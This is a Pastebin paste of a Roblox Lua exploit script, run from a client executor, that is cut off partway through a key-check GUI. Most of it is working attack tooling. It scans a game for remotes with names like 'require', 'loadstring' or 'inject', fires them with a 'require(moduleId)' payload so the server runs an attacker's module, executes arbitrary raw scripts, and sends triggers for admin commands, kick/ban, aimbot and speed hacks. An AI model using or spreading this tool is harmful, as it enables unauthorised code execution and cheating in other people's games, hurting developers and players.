Killanotkillz

Backdoor Finder & Vulnerability Loader GUI

May 22nd, 2026 (edited)
73
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 35.14 KB | None | 0 0
  1. -- COMPLETE BACKDOOR EXECUTOR WITH KEY SYSTEM
  2. -- Run this script directly in your executor
  3.  
  4. local MASTER_KEY = "Backdoor2026" -- CHANGE THIS TO YOUR OWN KEY
  5. local KEY_VALIDITY_SECONDS = 2 * 24 * 60 * 60 -- 2 days
  6.  
  7. local Players = game:GetService("Players")
  8. local CoreGui = game:GetService("CoreGui")
  9. local LocalPlayer = Players.LocalPlayer
  10.  
  11. local keyFile = "BackdoorKey.txt"
  12. local currentKey = nil
  13. local keyExpiry = nil
  14.  
  15. local function saveKey(key, expiry)
  16. if writefile then
  17. writefile(keyFile, key .. "\n" .. expiry)
  18. end
  19. currentKey = key
  20. keyExpiry = expiry
  21. end
  22.  
  23. local function loadSavedKey()
  24. if isfile and isfile(keyFile) then
  25. local content = readfile(keyFile)
  26. if content then
  27. local lines = {}
  28. for line in content:gmatch("[^\n]+") do
  29. table.insert(lines, line)
  30. end
  31. if #lines >= 2 then
  32. local savedKey = lines[1]
  33. local savedExpiry = tonumber(lines[2])
  34. if savedExpiry and savedExpiry > os.time() then
  35. currentKey = savedKey
  36. keyExpiry = savedExpiry
  37. return true, savedKey
  38. end
  39. end
  40. end
  41. end
  42. return false, nil
  43. end
  44.  
  45. local function isKeyValid(key)
  46. return key == MASTER_KEY
  47. end
  48.  
  49. local function getRemainingTime()
  50. if not keyExpiry then
  51. return 0
  52. end
  53. local remaining = keyExpiry - os.time()
  54. return math.max(0, remaining)
  55. end
  56.  
  57. local function formatTime(seconds)
  58. local days = math.floor(seconds / 86400)
  59. local hours = math.floor((seconds % 86400) / 3600)
  60. local minutes = math.floor((seconds % 3600) / 60)
  61. local secs = seconds % 60
  62. if days > 0 then
  63. return string.format("%dd %02dh %02dm %02ds", days, hours, minutes, secs)
  64. else
  65. return string.format("%02dh %02dm %02ds", hours, minutes, secs)
  66. end
  67. end
  68.  
  69. -- ============================================
  70. -- BACKDOOR GUI FUNCTIONS
  71. -- ============================================
  72.  
  73. local function MakeDraggable(frame, dragButton)
  74. local dragging = false
  75. local dragStart = nil
  76. local startPos = nil
  77. dragButton.InputBegan:Connect(function(input)
  78. if input.UserInputType == Enum.UserInputType.MouseButton1 then
  79. dragging = true
  80. dragStart = input.Position
  81. startPos = frame.Position
  82. input.Changed:Connect(function()
  83. if input.UserInputState == Enum.UserInputState.End then
  84. dragging = false
  85. end
  86. end)
  87. end
  88. end)
  89. dragButton.InputChanged:Connect(function(input)
  90. if dragging and input.UserInputType == Enum.UserInputType.MouseMovement then
  91. local delta = input.Position - dragStart
  92. frame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
  93. end
  94. end)
  95. end
  96.  
  97. local function createBackdoorGUI()
  98. local SG1 = Instance.new("ScreenGui")
  99. SG1.Name = "BackdoorFireGui"
  100. SG1.Parent = CoreGui
  101.  
  102. local BackdoorFrame = Instance.new("Frame")
  103. BackdoorFrame.Name = "BackdoorFrame"
  104. BackdoorFrame.Size = UDim2.new(0, 550, 0, 500)
  105. BackdoorFrame.Position = UDim2.new(0.05, 0, 0.15, 0)
  106. BackdoorFrame.Active = true
  107. BackdoorFrame.Draggable = true
  108. BackdoorFrame.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
  109. BackdoorFrame.BorderSizePixel = 1
  110. BackdoorFrame.BorderColor3 = Color3.fromRGB(255, 0, 0)
  111. BackdoorFrame.Parent = SG1
  112.  
  113. local BTitleBar = Instance.new("Frame")
  114. BTitleBar.Size = UDim2.new(1, 0, 0, 30)
  115. BTitleBar.Position = UDim2.new(0, 0, 0, 0)
  116. BTitleBar.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
  117. BTitleBar.BorderSizePixel = 0
  118. BTitleBar.Parent = BackdoorFrame
  119.  
  120. local BTitleText = Instance.new("TextLabel")
  121. BTitleText.Size = UDim2.new(1, -80, 1, 0)
  122. BTitleText.Position = UDim2.new(0, 5, 0, 0)
  123. BTitleText.Text = "BACKDOOR FIRE GUI | Require Module Executor"
  124. BTitleText.TextColor3 = Color3.fromRGB(255, 50, 50)
  125. BTitleText.BackgroundTransparency = 1
  126. BTitleText.Font = Enum.Font.SourceSansBold
  127. BTitleText.TextSize = 14
  128. BTitleText.TextXAlignment = Enum.TextXAlignment.Left
  129. BTitleText.Parent = BTitleBar
  130.  
  131. local BMinButton = Instance.new("TextButton")
  132. BMinButton.Size = UDim2.new(0, 30, 1, 0)
  133. BMinButton.Position = UDim2.new(1, -60, 0, 0)
  134. BMinButton.Text = "-"
  135. BMinButton.TextColor3 = Color3.fromRGB(255, 255, 255)
  136. BMinButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
  137. BMinButton.BorderSizePixel = 0
  138. BMinButton.Font = Enum.Font.SourceSansBold
  139. BMinButton.TextSize = 20
  140. BMinButton.Parent = BTitleBar
  141.  
  142. local BCloseButton = Instance.new("TextButton")
  143. BCloseButton.Size = UDim2.new(0, 30, 1, 0)
  144. BCloseButton.Position = UDim2.new(1, -30, 0, 0)
  145. BCloseButton.Text = "X"
  146. BCloseButton.TextColor3 = Color3.fromRGB(255, 255, 255)
  147. BCloseButton.BackgroundColor3 = Color3.fromRGB(150, 0, 0)
  148. BCloseButton.BorderSizePixel = 0
  149. BCloseButton.Font = Enum.Font.SourceSansBold
  150. BCloseButton.TextSize = 16
  151. BCloseButton.Parent = BTitleBar
  152.  
  153. MakeDraggable(BackdoorFrame, BTitleBar)
  154.  
  155. local BMinimized = false
  156. local BOriginalSize = BackdoorFrame.Size
  157. BMinButton.MouseButton1Click:Connect(function()
  158. if not BMinimized then
  159. BackdoorFrame.Size = UDim2.new(BOriginalSize.X.Scale, BOriginalSize.X.Offset, 0, 30)
  160. BMinimized = true
  161. BMinButton.Text = "+"
  162. for _, v in pairs(BackdoorFrame:GetChildren()) do
  163. if v ~= BTitleBar and v ~= BMinButton and v ~= BCloseButton then
  164. v.Visible = false
  165. end
  166. end
  167. else
  168. BackdoorFrame.Size = BOriginalSize
  169. BMinimized = false
  170. BMinButton.Text = "-"
  171. for _, v in pairs(BackdoorFrame:GetChildren()) do
  172. v.Visible = true
  173. end
  174. end
  175. end)
  176.  
  177. BCloseButton.MouseButton1Click:Connect(function()
  178. SG1:Destroy()
  179. end)
  180.  
  181. local BStatus = Instance.new("TextLabel")
  182. BStatus.Size = UDim2.new(1, -20, 0, 40)
  183. BStatus.Position = UDim2.new(0, 10, 0, 40)
  184. BStatus.Text = "Ready | Target: Require-based backdoors"
  185. BStatus.TextColor3 = Color3.fromRGB(255, 255, 255)
  186. BStatus.BackgroundColor3 = Color3.fromRGB(35, 35, 35)
  187. BStatus.TextWrapped = true
  188. BStatus.Parent = BackdoorFrame
  189.  
  190. local ModuleIdLabel = Instance.new("TextLabel")
  191. ModuleIdLabel.Size = UDim2.new(0.9, 0, 0, 20)
  192. ModuleIdLabel.Position = UDim2.new(0.05, 0, 0.12, 0)
  193. ModuleIdLabel.Text = "Module ID:"
  194. ModuleIdLabel.TextColor3 = Color3.fromRGB(200, 200, 200)
  195. ModuleIdLabel.BackgroundTransparency = 1
  196. ModuleIdLabel.TextXAlignment = Enum.TextXAlignment.Left
  197. ModuleIdLabel.Parent = BackdoorFrame
  198.  
  199. local ModuleIdBox = Instance.new("TextBox")
  200. ModuleIdBox.Size = UDim2.new(0.9, 0, 0, 35)
  201. ModuleIdBox.Position = UDim2.new(0.05, 0, 0.16, 0)
  202. ModuleIdBox.PlaceholderText = "Enter Module ID (e.g., 120139137221718)"
  203. ModuleIdBox.Text = "120139137221718"
  204. ModuleIdBox.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
  205. ModuleIdBox.TextColor3 = Color3.fromRGB(255, 255, 255)
  206. ModuleIdBox.ClearTextOnFocus = false
  207. ModuleIdBox.Parent = BackdoorFrame
  208.  
  209. local LoadModuleBtn = Instance.new("TextButton")
  210. LoadModuleBtn.Size = UDim2.new(0.4, 0, 0, 35)
  211. LoadModuleBtn.Position = UDim2.new(0.05, 0, 0.24, 0)
  212. LoadModuleBtn.Text = "LOAD MODULE"
  213. LoadModuleBtn.BackgroundColor3 = Color3.fromRGB(0, 100, 0)
  214. LoadModuleBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
  215. LoadModuleBtn.Parent = BackdoorFrame
  216.  
  217. local FunctionLabel = Instance.new("TextLabel")
  218. FunctionLabel.Size = UDim2.new(0.9, 0, 0, 20)
  219. FunctionLabel.Position = UDim2.new(0.05, 0, 0.31, 0)
  220. FunctionLabel.Text = "Function to execute on module:"
  221. FunctionLabel.TextColor3 = Color3.fromRGB(200, 200, 200)
  222. FunctionLabel.BackgroundTransparency = 1
  223. FunctionLabel.TextXAlignment = Enum.TextXAlignment.Left
  224. FunctionLabel.Parent = BackdoorFrame
  225.  
  226. local FunctionBox = Instance.new("TextBox")
  227. FunctionBox.Size = UDim2.new(0.9, 0, 0, 50)
  228. FunctionBox.Position = UDim2.new(0.05, 0, 0.35, 0)
  229. FunctionBox.PlaceholderText = "e.g., .load('ozfv0', 'Licker Zombie')"
  230. FunctionBox.Text = ""
  231. FunctionBox.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
  232. FunctionBox.TextColor3 = Color3.fromRGB(255, 255, 255)
  233. FunctionBox.TextWrapped = true
  234. FunctionBox.ClearTextOnFocus = false
  235. FunctionBox.Parent = BackdoorFrame
  236.  
  237. local ExecFuncBtn = Instance.new("TextButton")
  238. ExecFuncBtn.Size = UDim2.new(0.4, 0, 0, 35)
  239. ExecFuncBtn.Position = UDim2.new(0.05, 0, 0.44, 0)
  240. ExecFuncBtn.Text = "EXECUTE FUNCTION"
  241. ExecFuncBtn.BackgroundColor3 = Color3.fromRGB(0, 0, 150)
  242. ExecFuncBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
  243. ExecFuncBtn.Parent = BackdoorFrame
  244.  
  245. local FindBackdoorsBtn = Instance.new("TextButton")
  246. FindBackdoorsBtn.Size = UDim2.new(0.4, 0, 0, 35)
  247. FindBackdoorsBtn.Position = UDim2.new(0.55, 0, 0.24, 0)
  248. FindBackdoorsBtn.Text = "FIND REQUIRE BACKDOORS"
  249. FindBackdoorsBtn.BackgroundColor3 = Color3.fromRGB(139, 0, 0)
  250. FindBackdoorsBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
  251. FindBackdoorsBtn.Parent = BackdoorFrame
  252.  
  253. local FireBackdoorsBtn = Instance.new("TextButton")
  254. FireBackdoorsBtn.Size = UDim2.new(0.4, 0, 0, 35)
  255. FireBackdoorsBtn.Position = UDim2.new(0.55, 0, 0.44, 0)
  256. FireBackdoorsBtn.Text = "FIRE ALL BACKDOORS"
  257. FireBackdoorsBtn.BackgroundColor3 = Color3.fromRGB(200, 0, 0)
  258. FireBackdoorsBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
  259. FireBackdoorsBtn.Parent = BackdoorFrame
  260.  
  261. local RawLabel = Instance.new("TextLabel")
  262. RawLabel.Size = UDim2.new(0.9, 0, 0, 20)
  263. RawLabel.Position = UDim2.new(0.05, 0, 0.51, 0)
  264. RawLabel.Text = "Raw Require Script:"
  265. RawLabel.TextColor3 = Color3.fromRGB(200, 200, 200)
  266. RawLabel.BackgroundTransparency = 1
  267. RawLabel.TextXAlignment = Enum.TextXAlignment.Left
  268. RawLabel.Parent = BackdoorFrame
  269.  
  270. local RawScriptBox = Instance.new("TextBox")
  271. RawScriptBox.Size = UDim2.new(0.9, 0, 0, 60)
  272. RawScriptBox.Position = UDim2.new(0.05, 0, 0.55, 0)
  273. RawScriptBox.PlaceholderText = "require(123456789).load('key', 'value') or any raw script"
  274. RawScriptBox.Text = ""
  275. RawScriptBox.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
  276. RawScriptBox.TextColor3 = Color3.fromRGB(255, 255, 255)
  277. RawScriptBox.TextWrapped = true
  278. RawScriptBox.ClearTextOnFocus = false
  279. RawScriptBox.Parent = BackdoorFrame
  280.  
  281. local ExecRawBtn = Instance.new("TextButton")
  282. ExecRawBtn.Size = UDim2.new(0.9, 0, 0, 35)
  283. ExecRawBtn.Position = UDim2.new(0.05, 0, 0.65, 0)
  284. ExecRawBtn.Text = "EXECUTE RAW REQUIRE SCRIPT"
  285. ExecRawBtn.BackgroundColor3 = Color3.fromRGB(150, 50, 0)
  286. ExecRawBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
  287. ExecRawBtn.Parent = BackdoorFrame
  288.  
  289. local BackdoorListLabel = Instance.new("TextLabel")
  290. BackdoorListLabel.Size = UDim2.new(0.9, 0, 0, 20)
  291. BackdoorListLabel.Position = UDim2.new(0.05, 0, 0.73, 0)
  292. BackdoorListLabel.Text = "Found Require-Compatible Backdoors:"
  293. BackdoorListLabel.TextColor3 = Color3.fromRGB(255, 100, 100)
  294. BackdoorListLabel.BackgroundTransparency = 1
  295. BackdoorListLabel.TextXAlignment = Enum.TextXAlignment.Left
  296. BackdoorListLabel.Parent = BackdoorFrame
  297.  
  298. local BackdoorList = Instance.new("ScrollingFrame")
  299. BackdoorList.Size = UDim2.new(0.9, 0, 0, 80)
  300. BackdoorList.Position = UDim2.new(0.05, 0, 0.77, 0)
  301. BackdoorList.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
  302. BackdoorList.BorderSizePixel = 1
  303. BackdoorList.BorderColor3 = Color3.fromRGB(100, 100, 100)
  304. BackdoorList.CanvasSize = UDim2.new(0, 0, 0, 0)
  305. BackdoorList.ScrollBarThickness = 8
  306. BackdoorList.Parent = BackdoorFrame
  307.  
  308. local BackdoorListLayout = Instance.new("UIListLayout")
  309. BackdoorListLayout.Padding = UDim.new(0, 2)
  310. BackdoorListLayout.Parent = BackdoorList
  311.  
  312. local foundRequireBackdoors = {}
  313. local loadedModule = nil
  314.  
  315. local function findRequireBackdoors()
  316. for _, v in pairs(BackdoorList:GetChildren()) do
  317. if v:IsA("TextButton") then v:Destroy() end
  318. end
  319. foundRequireBackdoors = {}
  320.  
  321. local count = 0
  322. for _, v in pairs(game:GetDescendants()) do
  323. if v:IsA("RemoteEvent") or v:IsA("RemoteFunction") then
  324. local nameLower = v.Name:lower()
  325. if nameLower:find("require") or nameLower:find("loadstring") or nameLower:find("execute") or
  326. nameLower:find("inject") or nameLower:find("run") or nameLower:find("call") or
  327. nameLower:find("exec") or nameLower:find("module") or nameLower:find("script") then
  328. count = count + 1
  329. table.insert(foundRequireBackdoors, v)
  330.  
  331. local btn = Instance.new("TextButton")
  332. btn.Size = UDim2.new(1, 0, 0, 25)
  333. btn.Text = v.Name .. " [" .. v.ClassName .. "]"
  334. btn.TextColor3 = Color3.fromRGB(255, 200, 100)
  335. btn.BackgroundColor3 = Color3.fromRGB(60, 20, 20)
  336. btn.BorderSizePixel = 1
  337. btn.BorderColor3 = Color3.fromRGB(255, 0, 0)
  338. btn.Parent = BackdoorList
  339.  
  340. btn.MouseButton1Click:Connect(function()
  341. local payload = "require(" .. (ModuleIdBox.Text ~= "" and ModuleIdBox.Text or "120139137221718") .. ")"
  342. pcall(function()
  343. v:FireServer(payload)
  344. v:FireServer("load", payload)
  345. v:FireServer("execute", payload)
  346. if v:IsA("RemoteFunction") then
  347. v:InvokeServer(payload)
  348. end
  349. end)
  350. BStatus.Text = "Fired backdoor: " .. v.Name
  351. end)
  352.  
  353. BackdoorListLayout:ApplyLayout()
  354. BackdoorList.CanvasSize = UDim2.new(0, 0, 0, BackdoorListLayout.AbsoluteContentSize.Y)
  355. end
  356. end
  357. end
  358. BStatus.Text = "Found " .. count .. " require-compatible backdoors"
  359. return count
  360. end
  361.  
  362. local function fireAllBackdoors()
  363. local fired = 0
  364. local moduleId = ModuleIdBox.Text ~= "" and ModuleIdBox.Text or "120139137221718"
  365. local payload = "require(" .. moduleId .. ")"
  366. for _, v in pairs(foundRequireBackdoors) do
  367. local success = pcall(function()
  368. v:FireServer(payload)
  369. v:FireServer("load", payload)
  370. v:FireServer("execute", payload)
  371. if v:IsA("RemoteFunction") then
  372. v:InvokeServer(payload)
  373. end
  374. end)
  375. if success then fired = fired + 1 end
  376. task.wait(0.05)
  377. end
  378. BStatus.Text = "Fired " .. fired .. "/" .. #foundRequireBackdoors .. " backdoors"
  379. end
  380.  
  381. LoadModuleBtn.MouseButton1Click:Connect(function()
  382. local id = ModuleIdBox.Text
  383. if id and id ~= "" then
  384. local numId = tonumber(id)
  385. if numId then
  386. local success = pcall(function()
  387. loadedModule = require(numId)
  388. end)
  389. if success then
  390. BStatus.Text = "Module loaded successfully!"
  391. else
  392. BStatus.Text = "Failed to load module"
  393. loadedModule = nil
  394. end
  395. else
  396. BStatus.Text = "Invalid module ID"
  397. end
  398. else
  399. BStatus.Text = "Enter a module ID first!"
  400. end
  401. end)
  402.  
  403. ExecFuncBtn.MouseButton1Click:Connect(function()
  404. if not loadedModule then
  405. BStatus.Text = "No module loaded! Load a module first."
  406. return
  407. end
  408. local funcCode = FunctionBox.Text
  409. if funcCode and funcCode ~= "" then
  410. local success, err = pcall(function()
  411. local fullCode = "return loadedModule" .. funcCode
  412. local chunk = loadstring(fullCode)
  413. if chunk then
  414. chunk()
  415. BStatus.Text = "Function executed successfully!"
  416. else
  417. error("Invalid function syntax")
  418. end
  419. end)
  420. if not success then
  421. BStatus.Text = "Error: " .. tostring(err)
  422. end
  423. else
  424. BStatus.Text = "Enter a function to execute!"
  425. end
  426. end)
  427.  
  428. FindBackdoorsBtn.MouseButton1Click:Connect(function()
  429. findRequireBackdoors()
  430. end)
  431.  
  432. FireBackdoorsBtn.MouseButton1Click:Connect(function()
  433. fireAllBackdoors()
  434. end)
  435.  
  436. ExecRawBtn.MouseButton1Click:Connect(function()
  437. local scriptText = RawScriptBox.Text
  438. if scriptText and scriptText ~= "" then
  439. local success = pcall(function()
  440. local func = loadstring(scriptText)
  441. if func then
  442. func()
  443. else
  444. local chunk = loadstring("return " .. scriptText)
  445. if chunk then
  446. chunk()
  447. else
  448. error("Invalid script")
  449. end
  450. end
  451. end)
  452. if success then
  453. BStatus.Text = "Raw script executed!"
  454. else
  455. BStatus.Text = "Error executing script"
  456. end
  457. else
  458. BStatus.Text = "Enter a script first!"
  459. end
  460. end)
  461.  
  462. spawn(function()
  463. wait(1)
  464. findRequireBackdoors()
  465. end)
  466.  
  467. print("Backdoor GUI loaded!")
  468. end
  469.  
  470. local function createVulnerabilityGUI()
  471. local SG2 = Instance.new("ScreenGui")
  472. SG2.Name = "VulnerabilitySelectorGui"
  473. SG2.Parent = CoreGui
  474.  
  475. local VulnFrame = Instance.new("Frame")
  476. VulnFrame.Name = "VulnFrame"
  477. VulnFrame.Size = UDim2.new(0, 400, 0, 500)
  478. VulnFrame.Position = UDim2.new(0.55, 0, 0.15, 0)
  479. VulnFrame.Active = true
  480. VulnFrame.Draggable = true
  481. VulnFrame.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
  482. VulnFrame.BorderSizePixel = 1
  483. VulnFrame.BorderColor3 = Color3.fromRGB(0, 255, 255)
  484. VulnFrame.Parent = SG2
  485.  
  486. local VTitleBar = Instance.new("Frame")
  487. VTitleBar.Size = UDim2.new(1, 0, 0, 30)
  488. VTitleBar.Position = UDim2.new(0, 0, 0, 0)
  489. VTitleBar.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
  490. VTitleBar.BorderSizePixel = 0
  491. VTitleBar.Parent = VulnFrame
  492.  
  493. local VTitleText = Instance.new("TextLabel")
  494. VTitleText.Size = UDim2.new(1, -80, 1, 0)
  495. VTitleText.Position = UDim2.new(0, 5, 0, 0)
  496. VTitleText.Text = "VULNERABILITY SELECTOR"
  497. VTitleText.TextColor3 = Color3.fromRGB(0, 255, 255)
  498. VTitleText.BackgroundTransparency = 1
  499. VTitleText.Font = Enum.Font.SourceSansBold
  500. VTitleText.TextSize = 14
  501. VTitleText.TextXAlignment = Enum.TextXAlignment.Left
  502. VTitleText.Parent = VTitleBar
  503.  
  504. local VMinButton = Instance.new("TextButton")
  505. VMinButton.Size = UDim2.new(0, 30, 1, 0)
  506. VMinButton.Position = UDim2.new(1, -60, 0, 0)
  507. VMinButton.Text = "-"
  508. VMinButton.TextColor3 = Color3.fromRGB(255, 255, 255)
  509. VMinButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
  510. VMinButton.BorderSizePixel = 0
  511. VMinButton.Font = Enum.Font.SourceSansBold
  512. VMinButton.TextSize = 20
  513. VMinButton.Parent = VTitleBar
  514.  
  515. local VCloseButton = Instance.new("TextButton")
  516. VCloseButton.Size = UDim2.new(0, 30, 1, 0)
  517. VCloseButton.Position = UDim2.new(1, -30, 0, 0)
  518. VCloseButton.Text = "X"
  519. VCloseButton.TextColor3 = Color3.fromRGB(255, 255, 255)
  520. VCloseButton.BackgroundColor3 = Color3.fromRGB(150, 0, 0)
  521. VCloseButton.BorderSizePixel = 0
  522. VCloseButton.Font = Enum.Font.SourceSansBold
  523. VCloseButton.TextSize = 16
  524. VCloseButton.Parent = VTitleBar
  525.  
  526. MakeDraggable(VulnFrame, VTitleBar)
  527.  
  528. local VMinimized = false
  529. local VOriginalSize = VulnFrame.Size
  530. VMinButton.MouseButton1Click:Connect(function()
  531. if not VMinimized then
  532. VulnFrame.Size = UDim2.new(VOriginalSize.X.Scale, VOriginalSize.X.Offset, 0, 30)
  533. VMinimized = true
  534. VMinButton.Text = "+"
  535. for _, v in pairs(VulnFrame:GetChildren()) do
  536. if v ~= VTitleBar and v ~= VMinButton and v ~= VCloseButton then
  537. v.Visible = false
  538. end
  539. end
  540. else
  541. VulnFrame.Size = VOriginalSize
  542. VMinimized = false
  543. VMinButton.Text = "-"
  544. for _, v in pairs(VulnFrame:GetChildren()) do
  545. v.Visible = true
  546. end
  547. end
  548. end)
  549.  
  550. VCloseButton.MouseButton1Click:Connect(function()
  551. SG2:Destroy()
  552. end)
  553.  
  554. local VStatus = Instance.new("TextLabel")
  555. VStatus.Size = UDim2.new(1, -20, 0, 40)
  556. VStatus.Position = UDim2.new(0, 10, 0, 40)
  557. VStatus.Text = "Select vulnerabilities to fire"
  558. VStatus.TextColor3 = Color3.fromRGB(255, 255, 255)
  559. VStatus.BackgroundColor3 = Color3.fromRGB(35, 35, 35)
  560. VStatus.TextWrapped = true
  561. VStatus.Parent = VulnFrame
  562.  
  563. local VulnList = Instance.new("ScrollingFrame")
  564. VulnList.Size = UDim2.new(0.9, 0, 0, 300)
  565. VulnList.Position = UDim2.new(0.05, 0, 0.14, 0)
  566. VulnList.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
  567. VulnList.BorderSizePixel = 1
  568. VulnList.BorderColor3 = Color3.fromRGB(100, 100, 100)
  569. VulnList.CanvasSize = UDim2.new(0, 0, 0, 0)
  570. VulnList.ScrollBarThickness = 8
  571. VulnList.Parent = VulnFrame
  572.  
  573. local VulnListLayout = Instance.new("UIListLayout")
  574. VulnListLayout.Padding = UDim.new(0, 5)
  575. VulnListLayout.Parent = VulnList
  576.  
  577. local FireSelectedBtn = Instance.new("TextButton")
  578. FireSelectedBtn.Size = UDim2.new(0.9, 0, 0, 45)
  579. FireSelectedBtn.Position = UDim2.new(0.05, 0, 0.78, 0)
  580. FireSelectedBtn.Text = "FIRE SELECTED VULNERABILITIES"
  581. FireSelectedBtn.BackgroundColor3 = Color3.fromRGB(200, 0, 0)
  582. FireSelectedBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
  583. FireSelectedBtn.Font = Enum.Font.SourceSansBold
  584. FireSelectedBtn.TextSize = 14
  585. FireSelectedBtn.Parent = VulnFrame
  586.  
  587. local FireAllBtn = Instance.new("TextButton")
  588. FireAllBtn.Size = UDim2.new(0.9, 0, 0, 35)
  589. FireAllBtn.Position = UDim2.new(0.05, 0, 0.86, 0)
  590. FireAllBtn.Text = "FIRE ALL VULNERABILITIES"
  591. FireAllBtn.BackgroundColor3 = Color3.fromRGB(150, 0, 0)
  592. FireAllBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
  593. FireAllBtn.Font = Enum.Font.SourceSansBold
  594. FireAllBtn.TextSize = 13
  595. FireAllBtn.Parent = VulnFrame
  596.  
  597. local RefreshBtn = Instance.new("TextButton")
  598. RefreshBtn.Size = UDim2.new(0.9, 0, 0, 30)
  599. RefreshBtn.Position = UDim2.new(0.05, 0, 0.92, 0)
  600. RefreshBtn.Text = "REFRESH VULNERABILITY LIST"
  601. RefreshBtn.BackgroundColor3 = Color3.fromRGB(0, 80, 80)
  602. RefreshBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
  603. RefreshBtn.TextSize = 12
  604. RefreshBtn.Parent = VulnFrame
  605.  
  606. local vulnerabilities = {
  607. {name = "RemoteEvent Execution", payload = "execute", type = "RemoteEvent"},
  608. {name = "LoadString Injection", payload = "loadstring", type = "RemoteEvent"},
  609. {name = "Require Module Loader", payload = "require", type = "RemoteEvent"},
  610. {name = "Admin Command Backdoor", payload = "cmd", type = "RemoteEvent"},
  611. {name = "Script Injector", payload = "inject", type = "RemoteEvent"},
  612. {name = "Function Caller", payload = "call", type = "RemoteFunction"},
  613. {name = "Remote Spy Trigger", payload = "spy", type = "RemoteEvent"},
  614. {name = "Teleport Vulnerability", payload = "teleport", type = "RemoteEvent"},
  615. {name = "Kick Ban Exploit", payload = "kick", type = "RemoteEvent"},
  616. {name = "Fly Noclip Backdoor", payload = "fly", type = "RemoteEvent"},
  617. {name = "ESP Injector", payload = "esp", type = "RemoteEvent"},
  618. {name = "Aimbot Trigger", payload = "aimbot", type = "RemoteFunction"},
  619. {name = "Speed Hack Enable", payload = "speed", type = "RemoteEvent"},
  620. {name = "Jump Power Exploit", payload = "jumppower", type = "RemoteEvent"},
  621. }
  622.  
  623. local selectedVulns = {}
  624.  
  625. local function refreshVulnList()
  626. for _, v in pairs(VulnList:GetChildren()) do
  627. if v:IsA("Frame") then v:Destroy() end
  628. end
  629. selectedVulns = {}
  630.  
  631. for i, vuln in ipairs(vulnerabilities) do
  632. local frame = Instance.new("Frame")
  633. frame.Size = UDim2.new(1, -10, 0, 35)
  634. frame.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
  635. frame.BorderSizePixel = 1
  636. frame.BorderColor3 = Color3.fromRGB(80, 80, 80)
  637. frame.Parent = VulnList
  638.  
  639. local checkbox = Instance.new("TextButton")
  640. checkbox.Size = UDim2.new(0, 30, 1, -6)
  641. checkbox.Position = UDim2.new(0, 5, 0, 3)
  642. checkbox.Text = "[]"
  643. checkbox.TextColor3 = Color3.fromRGB(255, 255, 255)
  644. checkbox.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
  645. checkbox.BorderSizePixel = 0
  646. checkbox.Font = Enum.Font.SourceSansBold
  647. checkbox.TextSize = 18
  648. checkbox.Parent = frame
  649.  
  650. local label = Instance.new("TextLabel")
  651. label.Size = UDim2.new(1, -45, 1, 0)
  652. label.Position = UDim2.new(0, 40, 0, 0)
  653. label.Text = vuln.name .. " [" .. vuln.type .. "]"
  654. label.TextColor3 = Color3.fromRGB(220, 220, 220)
  655. label.BackgroundTransparency = 1
  656. label.TextXAlignment = Enum.TextXAlignment.Left
  657. label.Parent = frame
  658.  
  659. local isSelected = false
  660.  
  661. checkbox.MouseButton1Click:Connect(function()
  662. isSelected = not isSelected
  663. if isSelected then
  664. checkbox.Text = "[X]"
  665. checkbox.TextColor3 = Color3.fromRGB(0, 255, 0)
  666. frame.BackgroundColor3 = Color3.fromRGB(60, 40, 40)
  667. selectedVulns[vuln.name] = vuln
  668. else
  669. checkbox.Text = "[]"
  670. checkbox.TextColor3 = Color3.fromRGB(255, 255, 255)
  671. frame.BackgroundColor3 = Color3.fromRGB(45, 45, 45)
  672. selectedVulns[vuln.name] = nil
  673. end
  674. end)
  675. end
  676.  
  677. VulnListLayout:ApplyLayout()
  678. VulnList.CanvasSize = UDim2.new(0, 0, 0, VulnListLayout.AbsoluteContentSize.Y)
  679. end
  680.  
  681. local function fireVulnerability(vuln)
  682. local fired = 0
  683. for _, v in pairs(game:GetDescendants()) do
  684. if v:IsA(vuln.type) then
  685. local nameLower = v.Name:lower()
  686. if nameLower:find(vuln.payload) then
  687. pcall(function()
  688. if vuln.type == "RemoteEvent" then
  689. v:FireServer(vuln.payload)
  690. else
  691. v:InvokeServer(vuln.payload)
  692. end
  693. end)
  694. fired = fired + 1
  695. task.wait(0.02)
  696. end
  697. end
  698. end
  699. return fired
  700. end
  701.  
  702. FireSelectedBtn.MouseButton1Click:Connect(function()
  703. local totalFired = 0
  704. for name, vuln in pairs(selectedVulns) do
  705. VStatus.Text = "Firing: " .. name
  706. local count = fireVulnerability(vuln)
  707. totalFired = totalFired + count
  708. task.wait(0.1)
  709. end
  710. VStatus.Text = "Fired " .. totalFired .. " remotes"
  711. end)
  712.  
  713. FireAllBtn.MouseButton1Click:Connect(function()
  714. local totalFired = 0
  715. for _, vuln in ipairs(vulnerabilities) do
  716. VStatus.Text = "Firing: " .. vuln.name
  717. local count = fireVulnerability(vuln)
  718. totalFired = totalFired + count
  719. task.wait(0.05)
  720. end
  721. VStatus.Text = "Fired " .. totalFired .. " remotes total"
  722. end)
  723.  
  724. RefreshBtn.MouseButton1Click:Connect(function()
  725. refreshVulnList()
  726. VStatus.Text = "Vulnerability list refreshed!"
  727. end)
  728.  
  729. refreshVulnList()
  730. print("Vulnerability GUI loaded!")
  731. end
  732.  
  733. -- ============================================
  734. -- KEY SYSTEM GUI
  735. -- ============================================
  736.  
  737. local function createKeyGUI()
  738. local screenGui = Instance.new("ScreenGui")
